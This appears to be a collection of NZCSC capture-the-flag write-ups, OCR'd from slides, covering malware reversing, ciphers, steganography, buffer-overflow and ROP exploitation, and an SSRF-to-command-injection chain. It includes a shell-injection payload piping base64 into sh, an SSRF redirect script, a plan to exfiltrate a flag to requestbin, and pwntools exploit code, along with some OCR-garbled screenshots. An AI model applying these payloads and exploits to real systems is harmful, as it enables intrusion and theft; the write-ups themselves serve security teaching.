11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\libssl-1_1.dll	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🧰 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\sqlite3.dll	SUCCESS
11:39:	FormyMcForm.exe	7700 🧰 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\sqlite3.dll	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🧰 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python310.zip	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python310.zip	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python310pth	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python310pth	SUCCESS
11:39:	FormyMcForm.exe	7700 🧰 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.cat	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.cat	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\7ad286dc-7eec-45e1-aa8b-8888b36d5872	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 CreateFile	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.exe	SUCCESS
11:39:	FormyMcForm.exe	7700 🐂 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.exe	SUCCESS
11:39:	FormyMcForm.exe	7700 🧱 Create File	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.exe	SUCCESS
11:39:	FormyMcForm.exe	7700 Process Create	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b\python.exe	SUCCESS

🖇 Event Properties

🗲 Event	Process Stack
Date:	5/19/2024 11:39:39.0998709 AM
Thread:	3452
Class:	Process
Operation:	Process Create
Result:	SUCCESS
Path:	C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f74b\python.exe
Duration:	0.000000
PID: Command line:	7128 "C:\Users\user\AppData\Local\Temp\45f0b09e-bf5a-4393-ab40-2d3b8a2f744b/python.exe" C:\Users\user\AppData\Local\Temp\7ad286dc-7eec-45e1-aa8b-8888b36d5872

If we investigate the second temporary file (in this case the **7ad...72** one), we discover it is a zip file with the following contents:

is PC > Documents > /au2000C-/ee	20-4561-8860-6666055005672		v 0 .
Name	Date modified	Туре	Size
_mainpy	3/24/2024 8:33 PM	Python Source File	1 KB
aes.py	3/24/2024 8:30 PM	Python Source File	20 KB
payload.py	3/24/2024 8:43 PM	Python Source File	1 KB

Upon realising this is a C# binary, the JetBrains DotPeek tool can be used to reverse it into "almost" source code. We find it has a single **FormyMcForm** class with the following functions:









Sharp Snake Cont.

button1_Click and **button2_Click** event handlers both call the **do_hacks()** function. We assume that these two buttons are the only two that are displayed to the user and both do exactly the same thing.

```
private bool detect_av()
{
    string str1 = Path.GetTempPath() + Guid.NewGuid().ToString() + ".hackerman.exe";
    string str2 = "X50!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\r\n";
    File.WriteAllText(str1, str2);
    Thread.Sleep(3000);
    try
    {
        if (string.op_Equality(File.ReadAllText(str1), str2))
            return false;
    }
    catch
    {
     }
     return true;
}
```

detect_av() appears to create the **EICAR** file that we saw above and then tries and read it after 3 seconds. It returns false if the read succeeds and true if the read fails. We assume that this is used to determine if Defender is running as the read attempt will fail due to it being blocked (as the file contains malicious content). So true corresponds to Defender enabled and vice versa.



Combining what we know about the process and looking at the **do_hacks()** function, we are able to understand most of what it does.

Lightwire

Sharp Snake Cont.

We notice that the **do_hacks** function uses the below resources. We can extract these from the **Resources** section in DotPeek and decode them from base64. See below for a snippet of the **debug** and **hacks** resources. Note the debug one is hidden in the middle of two very large blocks of base64 data.

The resources we get are:

- **python_3_10_11_embed_amd64** a base64 encoded portable python zip file (likely from the **zip embeddable package** of python3.10)
- **hacks** a base64-encoded zipped Python module (the same as the one from the dynamic analysis)
- **debug** a hex string that we aren't sure about yet

So far, with static and/or dynamic analysis we know we have an application that performs the following steps:

- Checks if Defender is running via an **EICAR** test file
- Extracts some kind of python3.10 embedded executable to a temp directory
- Starts python module as a zip file with hacks as the second argument
- Sends a **debug** string to the new application over standard input

Let's look deeper into the **hacks** resource. Python supports <u>running a module as a zip file</u> - which appears to be what this is doing.

The module contains three files:

• aes.py - appears to be an open-source AES implementation

THE UNIVERSITY OF

- payload.py only has one global encrypted which is a long hex string
- __main.py__ the entry-point of the zip module and appears to perform some decryption and then call exec(<decrypted>) which looks very sus

Lightwire

Sharp Snake Cont.

Let's dive deeper into __main.py__. There appears to be two keys (key_1 and key_2) that are XOR'd together to produce the final key used by AES.

- The first key is read in as 64 hex chars from standard input. Remember that debug string from earlier? It is exactly 64 hex chars ... so sounds like it's the one. In our case this is **2e742b97a9fe12f60f791160c5945a90135df9a98293916f8faefc70db8ccb7e**.
- The second key comes from a sha256 hash of **sys.argv[0]**. After playing around with python and zip modules, we realise this is a sha256 hash of the entire zip file, in this case: **773b7ec8efb147b84b26452880cb11d54a7dd1c7ede7b11be7cbdc16b7edac57**. *Author note: this is a "anti-debug" feature that prevents you from easily modifying and rerunning the script. If you modify the .zip and try to run it, the sha256 hash will change.*

Combining these together with XOR we get the key as below:

Finally, if we redo the AES decryption steps with CyberChef on the payload from **payload.py** we figure out how **calc.exe** is started and get the flag:

Recipe	^ 🖻 🖿 🗊	Input +	• 크 🕯 🖬
AES Decrypt	^	9af960ea4cf64c74bdb10e737f219ac6ca02d4a66a688cb1531621045a80796b5f2 b02ff7804800063833653080b55c1e365d4b2aa66120ff3c1b7dbf912fff9bcb806	daab55945f7d7c98e e2b13e57b
Key 594f555f464f554e445f54484	55f4b HEX▼		
IV ALMOST_THERE UTF8 -	Mode CBC	: === 160 = 1	T f Raw Bytes ← LF
Input Output Hex Raw	t	Output	0 D D C
		<pre># FLAG: M2CSC[pythons_and_csnarp_rev_is_wwt; import os os system('calc eve')</pre>	
STEP Z BAKE!	Auto Bake		
_		Rec 78 = 5 (S) 1ms	🖬 🖬 Raw Bytes 🔶 LF

NZCSC{python3_and_csharp_rev_is_kwl}

Substitute Teacher

"NDY10DUwNGM1YTdiMzM0NTRINGE1NzQzNGQzMTRjNDU1ZjQ3NGI1Zj MzNGM1MDMwNTczMTRiNTg3ZDNhNzM30TZINzQ30DcyNmM**=**"

This string can be recognised as base64 due to the character set [-A-Za-z0-9+/] and the padding character (=) at the end. Decoding this with CyberChef gives the following:

4658504c5a7b33454e4a57434d314c455f474b5f334c503057314b587d3a73796e7478726c

Due to the character set **[a-f0-9]** this string can be recognised as hex which decodes in CyberChef to the following:

FXPLZ{3ENJWCM1LE_GK_3LP0W1KX}:syntxrl

This looks a lot closer to the flag format but we don't see NZCSC. ROT13 (caesar cipher) is a common cipher that rotates letters through the alphabet.

Decoding using CyberChef gives the following:

SKCYM{3RAWJPZ1YR_TX_3YC0J1XK}:flagkey

Author note: this step can actually be skipped due to shared properties of Caesar and Vigenere ciphers if you can recognise the "syntxrl" string as a key.

Now we know we have a key. Since we see the format still looks close to the flag, we can assume it is a substitution cipher. The most basic keyed substitution cipher is a Vigenere cipher. Decoding in CyberChef with **flagkey** as the key gives us the flag.

NZCSC{3NCRYPT1ON_VS_3NC0D1NG}

FIRST WATCH

Backwards

For this challenge we are presented with a PNG image with the word **backwards** written backwards. A common technique for hiding data in images is Least Significant Bit (LSB) steganography. Opening the image in StegSolve and looking at the LSB planes (**plane 0** for each colour) we can see there is definitely some data there although the extracted data doesn't decode to anything meaningful.

LSB data most commonly starts from the top-left most pixel and grows right so it is interesting to see the data in the top right. Let's try again after flipping the image so that the text reads left to right and the LSB data is where we'd expect it. We can flip the image using ImageMagick's **convert**:

\$ convert -flop backwards.png forwards.png

Backwards Cont.

That looks a lot better and now if we use the **Data Extract** tool in StegSolve on the LSB planes (**plane 0** for each colour) we get some more meaningful looking data:

	Extract Preview	
3351324d3151444e 31497a4d30557a4e 3049474e7add44e 3049544e6d527a59 304324d30556a5 a7a5554e304d544e 3349474e7a557a4d 304d544e682545a mmminum minimimimi mmminum minimimimi mmminum minimimimi mmminum minimimimi mmminum minimimimi mmminum minimimimi mmminum minimimimi mmminum minimimimi mminimimi minimimimi minimimimi minimi mini minimi minimi minimi minimi mini minimi minimi mini	3Q2M1QDN 1IZMOUZN 0IGNZMDN 0ITNMRZY 0M2M0UjZ 2UTN0MTM 3IGN2UZM 0MTNhRTZ	
Diplement	,	Durden an Minus
Bit Planes	(order settings
Alpha 7 6 5 4 3	2 1 0	Extract By 🖲 Row 🔾 Column
Red 7 6 5 4 3	2 1 0	Bit Order 💿 MSB First 🔾 LSB First
Green 7 6 5 4 3	2 1 0	Bit Plane Order
Blue 7 6 5 4 3	2 1 0	
		○ RBG ○ BRG
Preview Settings		⊖ GBR ⊖ BGR
Include Hex Dump In Previe	W	

"3Q2M1QDN1IzM0UzN0IGNzMDN0ITNmRzY0M2M0UjZzUTN0MTM3IGNzUzM0MTNhRTZ"

This data fits the character set for base64 data ([-A-Za-z0-9+/]) so let's try decoding that:

Recipe	^ 🖻 🖿 🗊	Input
From Base64	^	3Q2M1QDN1IzM0UzN0IGNzMDN0ITNmRzY0M2M0UjZzUTN0MTM3IGNzUzM0MTNhRTZ
		aec 64 = 1
Alphabet A-Za-z0-9+/=	Remove non-alphabet chars	Output
Strict mode		Ý •ð∿Íð•ÍRLÍЕ•ÍÀÍЕ͕∿ØÐÍ•RHÙÍDÍÐÄĬŬ••ÍLÌÐÄÍ•∿Ù

That didn't produce any meaningful data. Using the challenge title and the image text as a clue we need to reverse the base64 data before decoding it. Let's add that to our CyberChef.

Backwards Cont.

Recipe	~ 🖻 🖿 🧊	Input
Reverse	∧ ⊗ II	3Q2M1QDN1IzM0UzN0IGNzMDN0ITNmRzY0M2M0UjZzUTN0MTM3IGNzUzM0MTNhRTZ
By Character		
From Base64	<u>∧</u>	sec 64 = 1
Alphahet		Output 🎉
A-Za-z0-9+/=	Remove non-alphabet chars	e4a5343534b7134553f543c4c4f5244334b47543254453d7
Strict mode		

Now it looks like we have some hex data based on the character set ([a-f0-9]). After attempting to decode, we don't get anything meaningful again but there appears to be a pattern of things being reversed. After reversing the hex data and decoding we get the closest thing to a flag so far:

Recipe	^ 🖻 🖿 Î	Input
Reverse	^ ⊘ II	e4a5343534b7134553f543c4c4f5244334b47543254453d7
^{By} Character		
From Here	• • "	RBC 48 = 1
From Hex		Output
Delimiter		output
Auto		<pre>}5DR4WKC4B_LL4_5T1{CSCZN</pre>

One more reverse operation and we get the flag:

NZCSC{1T5_4LL_B4CKW4RD5}

THE UNIVERSITY OF

Security

Ret3Win

For this challenge we are provided with a binary file and a network port to connect to. This looks like a **pwn-style** challenge which involves exploiting a binary to control execution on a remote system. We get a copy of the binary to test locally but the end goal will be exploiting it on the remote port.

The binary is a x64 dynamically-linked Linux executable. Let's try running it and see what it does:

The program apparently gives us a 100-byte buffer that we can then write some data into. We are going to use GDB to do some more testing. For this type of challenge, it is helpful to use a GDB extension for some additional functionality (this writeup uses the pwndbg extension). Let's see what happens if we give the program 150 bytes (exceeding 100 bytes).

Security

Ret3Win Cont.

We can see the program crashes with a **segmentation fault** error. We can also see that we have overwritten some values and now the **RSP** (stack pointer) points to some of our **A's**. If this was a valid memory address, when the function returns, the value will be popped from the top of the stack and will populate **RIP**. If we can control this, we can make the program return to somewhere unintended. We can work out the exact offset to the **RSP** by using a pattern that changes every 8 bytes. The pwndbg GDB extension has this functionality with the **cyclic** command.

	\$ gdb ./ret3win
	\$ (gdb) cyclic 150
	aaaaaaaabaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	¢ (adh) run
	How many bytes would you like in your buffer?
	> 10
	Tell vou what. T'll give vou 100 bytes, fill it up!
	> aaaaaaabaaabaaaaaacaaaaaadaaaaaaaaaaaaa
rogr x000 EGEN	am received signal SIGSEGV, Segmentation fault. 0000000401429 in main () D: STACK HEAP CODE DATA <u>RWX</u> RODATA
RAX	0x0 [REGISTERS / Show-Flags off / Show-Compact-Pegs off]-
RBX	θχθ
	0x7ffff7e1aaa0 (_I0_2_1_stdin_) ↔ 0xfbad208b
	0x1
RDI	0x7ffff7e1ca80 (_I0_stdfile_0_lock) - 0x0
κð 00	
(7 010	
R11	
212	0x7fffffde68 → 0x7ffffffe1e1 → '/home/branman/Downloads/ret3win'
R13	9x49134a (main) ← endbr64
R14	0x403e18 (do global dtors aux fini array entry) -+ 0x401220 (do global dtors aux) endbró4
	0x7ffff7ffd040 (_rtld_global) → 0x7ffff7ffe2e0 → 0x0
RBP	Rx616161616161616f ('ogggggggg)
	0x7fffffffdd58 'paaaaaaaaaaaaaaaaaaaaaaaaa
RIP	0x7ffffffdd58 ← 'paaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

We can then use pwndbg to lookup the first 8 bytes that show in the **RSP** to calculate the offset.

Great, so after 120 bytes we can provide an address and the program should return to it. Now we just need to decide where we want to go and where it is in memory (it's address).

Ret3Win Cont.

Let's use Ghidra to attempt to decompile the binary and see if we can see anywhere interesting that we might want to return to. In Ghidra, we can see a function called **win()** that reads the flag from a file and prints it, this looks like a great place to return to.

1	
2	undefined8 win(void)
3	
4	{
5	char acStack f0 [99];
6	char cStack 8d;
7	int iStack 84:
8	code *pcStack 80:
9	char local 78 [104]:
10	FILE *local 10:
11	100001_10,
12	ncStack 80 = (code *)0x4012e0:
13	local 10 = fopen("flag.txt", "r");
14	$100001_{10} = 100000(11000000)$
15	ncStack 80 = (code *)0x4012fa:
16	puts("Con) t find flog tyt ");
17	parts (can't r rind riag.txt),
11	publick_00 = (code ~)0X401304,
18	FUN_00401100(1);
19	}
20	pcStack_80 = (code *)0x401319;
21	fgets(local_/8,100,local_10);
22	pcStack_80 = (code *)0x401334;
23	<pre>printf("How did you get here! %s",local_78);</pre>
24	pcStack_80 = (code *)0x401340;
25	fclose(local 10):

While we're in Ghidra let's take a quick look at why we can overflow the buffer. The main function below shows us the variable **local_78** is declared as a buffer of **99 bytes**. It later reads into this buffer using **gets**. This is an extremely dangerous function and should never be used as it does not specify how many bytes to read, meaning it will read more bytes than the buffer can hold if the user provides it.

1 2 3	undefined8 main(void)
4	r
5	char local 78 [99]:
6	char local 15:
7	int local_c;
6	Int issui_c,
0	astruct) :
10	setup(),
10	points ("How many bytes would you like in your burler?");
11	print((~> ");
12	1S0C99_SCANT(&DA1_00402079,&IOCA1_C);
13	getchar();
14	$1f (local_c < 100) \{$
15	puts("Tell you what, I\'ll give you 100 bytes, fill it up!");
16	}
17	else if (local_c < 0x65) {
18	if (local_c == 100) {
19	<pre>puts("100 bytes sounds good to me, fill it up!");</pre>
20	}
21	}
22	else {
23	<pre>puts("That\'s a bit excessive, you can have 100 bytes, fill it up!");</pre>
24	}
25	<pre>printf("> ");</pre>
26	<pre>gets(local 78);</pre>
27	if (local 15 == '\0') {
28	<pre>puts("Looks like there\'s still some space in your buffer");</pre>
29	3
30	return 0;
31	}
32	,
_	

Now that we know it exists, we can find the address of the **win** function in GDB:

Ret3Win Cont.

Now we need to provide the program 120 bytes, then the address of **win** (in little-endian). In theory, this should make the program return to the **win** function and we will get the flag. In practice, we might run into an issue known as **stack alignment** where if the stack is not 16-byte aligned, our exploit may fail. This can usually be fixed by adding another **ret** instruction (commonly called a **ret gadget**) to our payload before the return address. We can find the address of a ret gadget using ROPgadget:

In total our payload will be: **120** junk bytes + **ret gadget** address + **win** function address. We can either output this payload to a file and provide the file as input to the program, or interact directly with the program with the Python library pwntools. Below is a pwntools script that does everything discussed above. We can test against the local binary using **process** and once we know it works, we can try it against the remote port using **remote**.

NZCSC{B3TT3R_C4LL_W1N}

All Roads Lead to Flags

For this challenge we are given a GIF file that cycles through what look like Roman numerals. There could be some data hidden in the numbers, let's try and extract them. First, we need to extract each frame from the GIF as it goes too fast to read. We can use ImageMagick's **convert** utility to do this:

convert rome.gif numeral.png

If we compile the numbers from each PNG into a sequence we can decode them from Roman numerals to decimal values.

LXXVIII, XC, LXVII, LXXXII, LXVII, LXXXII, XLVIII, LXXVII, LII, LXXVIII, XCV, LII, LXXXII, XLVIII, LXXXV, LXXVIII, LXVIII, CXXV

78, 90, 67, 83, 67, 123, 82, 48, 77, 52, 78, 95, 52, 82, 48, 85, 78, 68, 125

In CyberChef we can convert from the list of numbers into their character representations. This gives us the flag.

Recipe	^ 🖻 🖿 🗊	Input												
From Decimal	^ ⊗ II	78, 90, 67, 83, 67, 123, 82, 48, 77, 52, 78, 95, 52, 82, 48, 85, 78, 68, 125												
Delimiter Space	Support signed values													
		auc 76 = 1												
		Output												
		NZCSC{R0M4N_4R0UND}												

NZCSC{R0M4N_4R0UND}

Fragile Lock

For this challenge we are given a web page with not much content.

Taking a look at the source code we can see a reference to script.js:

This JavaScript has clearly been obfuscated to make it hard to read. If we paste it into an online de-obfuscator (e.g. https://deobfuscate.relative.im/) we can convert the messy code into something more readable and we find the flag within it:

```
window.addEventListener('load', async function () {
    const _0x354f91 = await _0x2bb0b6('lock', function () {
        document.getElementById('challenge').innerHTML =
            'You destroyed the lock!<br><h3>NZCSC{X9fZ2tAQ9kNc5Vzd25rH}</h3>'
    }),
```

NZCSC{X9fZ2tAQ9kNc5Vzd25rH}

THE UNIVERSITY OF

Lightwire

Sheeesh

"I found this flag but it appears to have been encrypted by a gen-alpha coder."

Looking at the source code we can see what appears to be an esoteric Java class. We can see it reads in **flag.txt**, does some bit-wise XOR operations followed by some encryption, before writing the output to **flag.bin**. The general approach is to try and convert the code into something slightly more readable by replacing key words.

Sheeeesh cont.

Substituting words with their Java equivalents (such as **chat** with **string**) we can get this much closer to looking like actual Java. Below are the original Java sections:

String xorString = "nocap";
StringBuilder xoredFlag = new StringBuilder();
for (int i = 0; i < flagContent.length(); i++) {
 char c = flagContent.charAt(i);
 char keyChar = xorString.charAt(i % xorString.length());
 xoredFlag.append((char) (c ^ keyChar));</pre>

The above does a bit-wise XOR operation with the flag and the repeating string **nocap**.

This above encrypts the XOR'd flag using AES CBC mode with the key **lowkeythisisakey** and the IV **itdohitdifferent**. We can use CyberChef to reverse these, starting from **flag.bin**.

NZCSC{4T3_4ND_L3FT_N0_CRUMB5}

Server-side PDF

For this challenge we are given a web-page that interacts with a single-route API, along with the source code. If we run **npm install** to set the challenge up for local testing we notice there is a high severity vulnerability in the pdf-image library (see **npm audit** screenshot below):

Researching this vulnerability more, it appears that if we can set filename that is used in the **PDFImage** constructor to something like **asf.pdf" | echo <some base64> | base64 -d | sh; #** then we can achieve command injection. However, only requests coming from 127.0.0.1 are able to set the filename query parameter in this challenge. To overcome this, we must find a way to get the **download** endpoint to call itself in a way that bypasses the **Prevent SSRF** check. This **Prevent SSRF** check, only considers the **resolved** hostname of the download URL. If we use a **302 redirect** from another domain to localhost, then we are able to bypass this check whilst calling the download endpoint. A sample python script which will do the redirection is below. If the URL ends in .pdf it will respond with a fake PDF file, otherwise it will redirect the user to the URL that is passed as an argument to the script.

```
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
  print("""
Usage: {} <port number> <url>
  """.format(sys.argv[0]))
  sys.exit()
class Redirect(BaseHTTPRequestHandler):
 def do GET(self):
    if 'pdf' in self.path:
      self.send response(200)
      self.end headers()
      self.wfile.write(b'%PDF')
    else
      self.send_response(302)
      self.send header('Location', sys.argv[2])
      self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```


Security

Server-side PDF Cont.

To fully exploit the vulnerability and gain code execution to read the flag we need to do the following:

- Use ngrok (or similar port forwarder) to serve a locally hosted HTTP server on a domain which is reachable by the internet
- Create a payload that makes a request to a separate **requestbin.com** URL (for exfiltrating the flag)
- Create a redirect URL that looks something like: http://localhost:8080/download?filename=<payload>&url=<ngrok_url/pdf>
- Start our redirector to redirect from the ngrok URL to the localhost URL above
- Send a download request to the API with the Ngrok URL

We can achieve this with the Python requests library. A sample solve script is included below:

NZCSC{pdf-nday-and-localhost-redirect}

Magic Number

"There's magic in the air."

For this challenge we are given the file **2e3rft3**. The file doesn't have an extension and our operating system doesn't recognise the file-type. Let's have a look at the raw bytes of the file in a hex editor.

00000000	89	50	4 E	4 E	4E	4 E	4 E	0A	00	00	00	ØD	49	48	44	52	ëPNNNNN IHDR
00000010	00	00	05	64	00	00	03	82	08	06	00	00	00	F0	40	DB	dé≡@
00000020	14	00	00	ΘA	AC	69	43	43	50	49	43	43	20	50	72	6F	%iCCPICC Pro
00000030	66	69	6C	65	00	00	48	89	95	97	07	50	53	59	17	80	file Hëòù PSY Ç
00000040	EF	7B	E9	21	A1	25	84	ΘE	A1	37	41	3A	01	A 4	84	DO	∩{®!í%ä í7A: ñä [⊥]
00000050	02	28	48	07	51	09	49	80	50	42	0C	04	11	B1	21	8 B	(H Q IÇPB .∭!ï

We can see a few readable strings in here including **IHDR** and **iccPICC** which are both frequently present in PNG files. If this is really a PNG file then our operating system should recognise it as one so it must be corrupt. File types are usually detected based on some "**magic bytes**" at the start of the file. Let's look at the PNG file format on Wikipedia to see what PNG files should start with.

File format [edit]

File header [edit]

A PNG file starts with an 8-byte signature^[15] (refer to hex editor image on the right):

Values (hex)	Purpose
89	Has the high bit set to detect transmission systems that do not support 8-bit data and to reduce the chance that a text file is mistakenly interpreted as a PNG, or vice versa.
50 4E 47	In ASCII, the letters <i>PNG</i> , allowing a person to identify the format easily if it is viewed in a text editor.
0D 0A	A DOS-style line ending (CRLF) to detect DOS-Unix line ending conversion of the data.
1A	A byte that stops display of the file under DOS when the command type has been used—the end-of-file character.
ØA	A Unix-style line ending (LF) to detect Unix-DOS line ending conversion.

Looks like our file should start with the hex "**89504E47 0D0A1A0A**" but ours starts with "**89504E4E E4E4E0A**". Using a hex editor (e.g. hexedit), we can overwrite the incorrect bytes and then open the recovered PNG to reveal the flag.

NZCSC{you_ve_G0t_th3_M4G1c}

Double Canary

For this challenge we are given a binary (**double_canary**) and associated source code (**main.c**) and **Makefile**. This writeup assumes some pre-existing knowledge of pwn challenges and how to solve them. As the title suggests, the binary features two stack canaries including a custom one with some interesting properties. The goal is to exploit the binary to get remote code execution on the challenge server and read the flag.

Several vulnerabilities exist in the binary that we can take advantage of including in the custom canary (**CC**):

- **CC1** the custom canary has a null byte at the wrong end making it trivial to leak
- **CC2** the custom canary is based on the address of main so leaking it also breaks PIE and vice versa

And several overflow (O) vulnerabilities:

- **O1** the first read of a bird name, reads exactly the size of **buf**, so we can use it to leak the custom canary by writing exactly 16 bytes
- **O2** the second read has a much bigger overflow so we can leak more stuff like the actual canary, and also write a ROP chain.
- **O3** the third read has a smaller overflow so perhaps just enough to overwrite the return address but not a full ROP chain.

Exploiting the binary requires multiple stages which are summarised below:

- 1. Leak custom canary
- 2. Extract main address from custom canary
- 3. Leak proper canary
- 4. Overflow to restart the binary
- 5. Leak libc
- 6. Overflow to restart the binary
- 7. Overflow for a ROP chain that gets us a shell

Below is a more descriptive summary referencing the vulnerabilities we identified earlier:

- 1. First leak
 - use O1 and CC1 to leak the custom canary
 - use CC2 to find the address of main and break ASLR (PIE) of the main binary
- 2. Second leak
 - use **O2** to leak the regular canary

Security

Double Canary Cont.

- 3. First overflow
 - use **O3** to restart the program (so we can exploit bigger overflows **O1/O2** again) .
 - it's crucial that we have all of the following for this overflow: the custom canary, the proper canary, and the binary's base address.
- 4. Third leak
 - use **O2** to leak a libc address off the stack (needs a big overflow so we need **O2**) .
- 5. Second overflow (same as first)
 - use **O3** to restart the program (so we can exploit bigger overflows **O1/O2** again)
- Third overflow 6.
 - construct a ROP chain that calls system and get us a shell using O2
- 7. Shell
 - . cat flag.txt

We are going to use the Python library **pwntools** to interact with and exploit the binary. Let's set up pwntools to interact with the binary and challenge server:

```
from pwn import *
context.log_level = "debug"
context.binary = ELF("double_canary")
def start(gdbscript = None, use_gdb = False, use_remote_host = False):
  if use_remote_host:
    libc = ELF("path-to-remote-libc/libc.so.6")
  else:
    libc = context.binary.libc
    assert libc
  if use remote host:
    # You might need to update these
    p = remote("127.0.0.1", 10102)
  elif use gdb:
    p = gdb.debug([context.binary.path], gdbscript=gdbscript)
  else:
    p = process(executable=context.binary.path)
  return p, libc
gdbscript = '''
b main
b *main+340
С
....
p, libc = start(gdbscript=gdbscript, use_gdb=False, use_remote_host=False)
```


Security

Double Canary Cont.

Now let's exploit the first leak to leak the custom canary and **main** address. If we write exactly 16 bytes, the **printf** will leak the custom canary because the canary has a null byte at the end rather than the start. The canary also depends on the address of **main** using a simple XOR which we can easily reverse.

```
p.sendafter(b"> ", cyclic(16))
p.recvuntil(b"Thanks, ")
first_leak = p.recvuntil(b" is a great bird name", drop=True)
# Extract the custom_canary and main address
custom_canary = unpack(first_leak[-7:] + b"\x00")
info(f"{hex(custom_canary)=}")
main_addr_leak = custom_canary ^ 0x00adbeefc0debabe
info(f"{hex(main_addr_leak)=}")
```

Use the main leak to break PIE (ASLR for the main binary)
context.binary.address = main_addr_leak - context.binary.symbols["main"]
info(f"{hex(context.binary.address)=}")

```
[DEBUG] Received 0x53 bytes:
   b'Welcome to the Zealandia bird sanctuary.\n'
   b'\n'
   b'What would like to name your new bird?\n'
   h'> '
[DEBUG] Sent 0x10 bytes:
   b'aaaabaaacaaadaaa
[DEBUG] Received 0x7f bytes:
   00000000 54 68 61 6e 6b 73 2c 20 61 61 61 61 62 61 61 61 Than ks, aaaa baaa
   00000010 63 61 61 61 64 61 61 61 22 18 37 5d de e9 ad 20 caaa daaa ".7] ...
   00000020 69 73 20 61 20 67 72 65 61 74 20 62 69 72 64 20 is a great bird
   00000030 6e 61 6d 65 21 0a 48 6f 77 20 64 69 64 20 79 6f |name|!.Ho|w di|d yo
   00000040 75 20 68 65 61 72 20 61 62 6f 75 74 20 75 73 2e
                                                              u he ar a bout us.
   00000050 2e 2e 20 77 61 73 20 69 74 20 74 68 72 6f 75 67
                                                               .. w as i t th roug
   00000060 68 20 4d 79 53 70 61 63 65 2f 4c 69 6e 6b 65 64 |h My|Spac|e/Li|nked
   00000070 49 6e 2f 48 61 6e 67 6f 75 74 73 3f 0a 3e 20 In/H ango uts? .>
   0000007f
[*] hex(custom canary)='0xade9de5d371822'
```

```
[*] hex(main_addr_leak)='0x57319de9a29c'
```

```
[*] hex(context.binary.address)='0x57319de99000'
```


🕸 Lightwire

Double Canary Cont.

Now let's exploit the second leak to leak the proper canary. The proper canary has a null byte at the beginning which will terminate any string trying to read it. By writing 25 bytes we overwrite the null byte of the proper canary so **printf** can leak it

p.sendafter(b"> ", cyclic((25)))
p.recvuntil(b"I haven't heard of that one - ")
second_leak = p.recvuntil(b" - I'll be sure to tell", drop=True)
Extract the proper canary
proper_canary = unpack(b"\x00" + second_leak[25:32])
info(f"{hex(proper_canary)=}")
[DEBUG] Sent 0x19 bytes:
 b'aaaabaaacaaadaaaeaaafaaag'

[DEBUG] Re	eceived	0xb	52 ł	bytes	:																
00000	000 49	20	68	61	76	65	6e	27	74	20	68	65	61	72	64	20	I ha	ven'	t he	ard	
00000	010 6f	66	20	74	68	61	74	20	6f	6e	65	20	2d	20	61	61	of t	hat	one	- aa	
00000	920 61	61	62	61	61	61	63	61	61	61	64	61	61	61	65	61	aaba	aaca	aada	aaea	
00000	930 61	61	66	61	61	61	67	11	14	7b	e0	b8	6d	70	01	20	aafa	aag∙	$\cdot \{ \cdot \cdot$	mр·	
00000	040 2d	20	49	27	6c	6c	20	62	65	20	73	75	72	65	20	74	- I'	11 b	e su	re t	
